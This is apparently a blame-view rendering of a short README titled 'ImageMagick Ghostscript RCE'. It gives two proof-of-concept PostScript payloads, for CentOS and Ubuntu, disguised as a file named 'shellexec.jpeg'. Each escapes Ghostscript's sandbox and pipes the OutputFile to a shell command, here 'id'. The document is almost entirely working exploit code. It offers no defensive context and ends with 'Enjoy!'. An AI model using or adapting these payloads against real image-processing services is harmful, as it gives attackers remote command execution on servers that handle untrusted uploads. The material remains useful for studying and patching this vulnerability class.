2018-08-23 10:23:20 +08:00
|
|
|
# ImageMagick Ghostscript RCE
|
|
|
|
|
|
|
|
|
|
## POC
|
|
|
|
|
|
|
|
|
|
### Centos
|
|
|
|
|
|
|
|
|
|
```
|
2018-08-23 10:25:11 +08:00
|
|
|
$ cat shellexec.jpeg
|
|
|
|
|
%!PS
|
|
|
|
|
userdict /setpagedevice undef
|
|
|
|
|
legal
|
|
|
|
|
{ null restore } stopped { pop } if
|
|
|
|
|
legal
|
|
|
|
|
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
2018-08-23 10:23:20 +08:00
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### Ubuntu
|
|
|
|
|
|
|
|
|
|
```
|
2018-08-23 10:25:11 +08:00
|
|
|
$ cat shellexec.jpeg
|
|
|
|
|
%!PS
|
|
|
|
|
userdict /setpagedevice undef
|
|
|
|
|
save
|
|
|
|
|
legal
|
|
|
|
|
{ null restore } stopped { pop } if
|
|
|
|
|
{ legal } stopped { pop } if
|
|
|
|
|
restore
|
|
|
|
|
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
2018-08-23 10:23:20 +08:00
|
|
|
```
|
2018-08-23 10:25:11 +08:00
|
|
|
|
|
|
|
|
## Enjoy!
|
